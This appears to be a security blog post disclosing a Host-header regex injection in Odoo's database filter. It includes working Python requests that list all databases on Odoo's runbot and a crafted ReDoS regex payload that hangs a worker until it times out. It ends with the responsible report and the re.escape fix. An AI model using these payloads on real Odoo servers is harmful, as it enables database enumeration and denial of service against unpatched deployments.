In this previous article, we've seen that Odoo's db filtering mechanism relies on a regex.
We will now see that, until recently, this regex could be abused in some Odoo deployments, amongst them Odoo's runbot itself.
The vulnerability: "regex injection"
%d
and %h
variables were directly replaced by values derived from the HOST header of the http request.
An attacker could craft a HOST header to inject arbitrary string in the regex, including special characters.
By injecting |^.*$|
for example, he could completely change the behavior of the regex: any database name suddenly matched, defeating the filtering.
Exploitation on runbot
Wildcard DNS
Odoo has a wildcard DNS record configured for .+.runbot[0-9]+.odoo.com
.
Let's take this runbot build as an example: http://315285-10-0-opw-1820081-refix-sig-fc659d.runbot11.odoo.com
315285-10-0-opw-1820081-refix-sig-fc659d.runbot11.odoo.com
will resolve as an alias for runbot11.odoo.com
.
dbfilter
The Odoo instance for this build runs with --db-filter='%d.*$'
.
When we visit http://315285-10-0-opw-1820081-refix-sig-fc659d.runbot11.odoo.com
, all databases matching 315285-10-0-opw-1820081-refix-sig-fc659d.*$
are listed.
Wildcard host names matching
On nginx's side, the Odoo instance running for this build is reachable by all host names matching ~^<t t-raw="re_escape(build.dest)"/>[-.].*$
, here: ^315285-10-0-opw-1820081-refix-sig-fc659d[-.].*$
.
So 315285-10-0-opw-1820081-refix-sig-fc659d-hello-my-name-is-brian.runbot11.odoo.com
would also match for example.
But there is no database matching 315285-10-0-opw-1820081-refix-sig-fc659d-hello-my-name-is-brian.*$
, so visiting http://315285-10-0-opw-1820081-refix-sig-fc659d-hello-my-name-is-brian.runbot11.odoo.com
will trigger Odoo's database creation form.
Special characters
As the .*
part in nginx's regex accepts any character, 315285-10-0-opw-1820081-refix-sig-fc659d-|^.*$|.runbot11.odoo.com
would match as well.
But such special characters can't be part of a dns entry, so we need to:
- connect to
runbot11.odoo.com
- manually define the HTTP
Host
header of the request to315285-10-0-opw-1820081-refix-sig-fc659d-|^.*$|.runbot11.odoo.com
.
This can be done with requests
:
>>> import requests
>>> requests.get("http://runbot11.odoo.com", headers={'HOST':'315285-10-0-opw-1820081-refix-sig-fc659d-|^.*$|.runbot11.odoo.com'})
Listing all databases
We have combined all pieces to bypass the db filtering mechanism:
>>> r = requests.get("http://runbot11.odoo.com/web/database/manager", headers={'HOST':'315285-10-0-opw-1820081-refix-sig-fc659d-|^.*$|.runbot11.odoo.com'})
>>> from lxml import html
>>> doc = html.fromstring(r.content)
>>> dbs = [ a.get("href")[8:] for a in doc.xpath("//a[@class='list-group-item']") ]
>>> len(dbs)
148
>>> dbs[-5:]
['315388-2027-dd147e-all', '315388-2027-dd147e-base', 'admin', 'gcp-crm-demo', 'master-various-improvements-pka-pka']
The disclosed information (list of databases on the host) was not really interesting here. But in another context, we could imagine a scenario where the attacker would:
- bruteforce the credentials of test databases, usually weaker than production ones
- connect to these test databases
- escalate his privileges to own the whole host.
One step further: ReDoS
There is a funny class of attacks called "Regular expression Denial of Service" (ReDoS) that consist of slowing down a program for a very long time just by leveraging a regex.
The idea is that some regex patterns introduce an exponential number of paths to go through when facing some particular inputs.
For example, if you are using this regex to validate email addresses in your application, you are vulnerable to the input value aaaaaaaaaaaaaaaaaaaaaaaa!
:
>>> REGEX = '^([a-zA-Z0-9])(([\-.]|[_]+)?([a-zA-Z0-9]+))*(@){1}[a-z0-9]+[.]{1}(([a-z]{2,3})|([a-z]{2,3}[.]{1}[a-z]{2,3}))$'
>>> re.match(REGEX, 'aaaaaaaaaaaaaaaaaaaaaaaa!')
(hangs forever)
In our case, we don't control the input values: databases names that Odoo filters. But we do control the regex: so instead of looking for the value that will hang the regex, we will look for the regex that will hang for one or several of the databases names. That regex needs to have these properties:
- (1) contains a weak pattern such as
(a+)+
: the possible characters in a database name being[0-9a-z\-]
here, we'll use([0-9a-z\-]+)+
; - (2) doesn't match any of the databases names, to force the regex engine to go through all possible paths; we know that 2 databases are created for each build:
-base
(onlybase
module installed) and-all
(all modules installed), so a database name will always end with eitherbase
orall
: let's simply exclude them:(!(all|base))
Let's try with 315285-10-0-opw-1820081-refix-sig-fc659d-all
:
>>> REGEX = '^([0-9a-z\-]+)+(!(all|base))$'
>>> re.match(REGEX, '315285-10-0-opw-1820081-refix-sig-fc659d-all')
(hangs forever)
Success! But we took a particularily long database name. To get the regex hang on smaller names, let's increase the number of paths to go through:
>>> REGEX = '^(((([0-9a-z\-]+)+)+)+)+(!(all|base))$'
>>> re.match(REGEX, '315285-10-0-opw-all')
(hangs forever)
Now that we have our payload, let's use it:
> r = requests.get("http://315285-10-0-opw-1820081-refix-sig-fc659d.runbot11.odoo.com/web?db=315285-10-0-opw-1820081-refix-sig-fc659d-all", headers={'HOST':'315285-10-0-opw-1820081-refix-sig-fc659d-|^(((([0-9a-z\-]+)+)+)+)+(!(all|base))$|.runbot11.odoo.com'})
(...)
> r.text
u'<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">\n<title>500 Internal Server Error</title>\n<h1>Internal Server Error</h1>\n<p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>\n'
The request was terminated on Odoo-side after 60s because runbot builds run in multi-workers mode and default limit_time_cpu = 60
applied.
Conclusion
The issue was reported to Odoo's security team. Despite the limited impact, they decided to do a full security advisory.
The fix was trivial: use re.escape
to escape %d
and %h
variables.
dbfilter_from_header
module
Note about OCA's dbfilter_from_header
contains a static/
directory. This had the unexpected effect of trigerring its inconditional loading, even when not intended to be used (not added to the server_wide_modules
nor installed). So by just having it available in the addons path, an instance was directly vulnerable to ReDoS through exploitation of X-Odoo-dbfilter
/ X-Openerp-dbfilter
header.